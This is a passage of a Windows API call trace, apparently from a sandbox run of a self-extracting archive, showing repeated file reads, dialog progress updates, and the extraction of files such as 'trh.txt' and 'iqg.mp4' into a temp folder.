hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.989] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.989] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.989] GetTickCount () returned 0x1f9e8 [0067.989] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.989] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.989] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.989] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.989] GetTickCount () returned 0x1f9e8 [0067.989] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.989] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.989] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.989] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.989] GetTickCount () returned 0x1f9e8 [0067.989] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.990] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.990] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.990] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.990] GetTickCount () returned 0x1f9e8 [0067.990] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.990] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.990] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.990] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.990] GetTickCount () returned 0x1f9e8 [0067.990] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.990] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.990] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.990] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.990] GetTickCount () returned 0x1f9e8 [0067.990] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.990] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.990] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.990] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.990] GetTickCount () returned 0x1f9e8 [0067.990] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.990] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.990] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.990] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.990] GetTickCount () returned 0x1f9e8 [0067.990] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.990] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.990] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.990] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.990] GetTickCount () returned 0x1f9e8 [0067.990] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.990] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.990] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.990] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.990] GetTickCount () returned 0x1f9e8 [0067.990] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.990] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.990] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.990] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.990] GetTickCount () returned 0x1f9e8 [0067.990] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.990] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.990] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.990] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.990] GetTickCount () returned 0x1f9e8 [0067.990] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.990] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.990] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.990] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.991] GetTickCount () returned 0x1f9e8 [0067.991] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.991] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.991] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.991] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.991] GetTickCount () returned 0x1f9e8 [0067.991] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.991] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.991] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.991] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.991] GetTickCount () returned 0x1f9e8 [0067.991] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.991] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.991] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.991] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.991] GetTickCount () returned 0x1f9e8 [0067.991] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.991] ReadFile (in: hFile=0x1c, lpBuffer=0x27044a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.991] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.991] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.991] GetTickCount () returned 0x1f9e8 [0067.991] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.991] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x22b, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x22b, lpOverlapped=0x0) returned 1 [0067.992] GetTickCount () returned 0x1f9e8 [0067.992] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0067.992] SetFilePointer (in: hFile=0x1c, lDistanceToMove=856439, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd1177 [0067.992] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0067.992] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0067.992] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0067.992] CloseHandle (hObject=0x138) returned 1 [0067.992] SetFileAttributesA (lpFileName="trh.txt", dwFileAttributes=0x20) returned 1 [0067.993] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd1177 [0067.993] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0067.993] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0067.993] OemToCharA (in: pSrc="iqg.mp4", pDst=0x179cc0 | out: pDst="iqg.mp4") returned 1 [0067.993] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="iqg.mp4", cchCount2=1) returned 1 [0067.993] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="iqg.mp4", cchCount2=6) returned 1 [0067.993] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="iqg.mp4", cchCount2=-1) returned 1 [0067.993] SetFilePointer (in: hFile=0x1c, lDistanceToMove=856483, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd11a3 [0067.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="iqg.mp4") returned 8 [0067.993] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x41aab8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0067.993] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting iqg.mp4") returned 18 [0067.993] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting iqg.mp4") returned 1 [0067.993] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0067.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="iqg.mp4") returned 8 [0067.993] FindFirstFileW (in: lpFileName="iqg.mp4", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0067.993] GetLastError () returned 0x2 [0067.993] GetFileAttributesA (lpFileName="iqg.mp4" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\iqg.mp4")) returned 0xffffffff [0067.993] CreateFileA (lpFileName="iqg.mp4" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\iqg.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0067.994] GetFileType (hFile=0x138) returned 0x1 [0067.994] SetFilePointer (in: hFile=0x138, lDistanceToMove=530, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x212 [0067.994] SetEndOfFile (hFile=0x138) returned 1 [0067.994] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0067.994] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1b1, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1b1, lpOverlapped=0x0) returned 1 [0067.994] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.994] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.994] GetTickCount () returned 0x1f9e8 [0067.994] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.994] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.994] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.994] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.994] GetTickCount () returned 0x1f9e8 [0067.994] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.994] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.994] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.994] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.994] GetTickCount () returned 0x1f9e8 [0067.994] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.994] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.994] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.994] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.994] GetTickCount () returned 0x1f9e8 [0067.994] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.994] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.994] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.994] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.994] GetTickCount () returned 0x1f9e8 [0067.994] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.994] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.994] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.994] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.994] GetTickCount () returned 0x1f9e8 [0067.994] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.994] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.994] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.994] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.995] GetTickCount () returned 0x1f9e8 [0067.995] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.995] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.995] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.995] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.995] GetTickCount () returned 0x1f9e8 [0067.995] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.995] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.995] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.995] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.995] GetTickCount () returned 0x1f9e8 [0067.995] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.995] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.995] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.995] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.995] GetTickCount () returned 0x1f9e8 [0067.995] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.995] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.995] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.995] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.995] GetTickCount () returned 0x1f9e8 [0067.995] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.995] ReadFile (in: hFile=0x1c, lpBuffer=0x270439, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270439*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.995] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0067.995] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.995] GetTickCount () returned 0x1f9e8 [0067.995] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 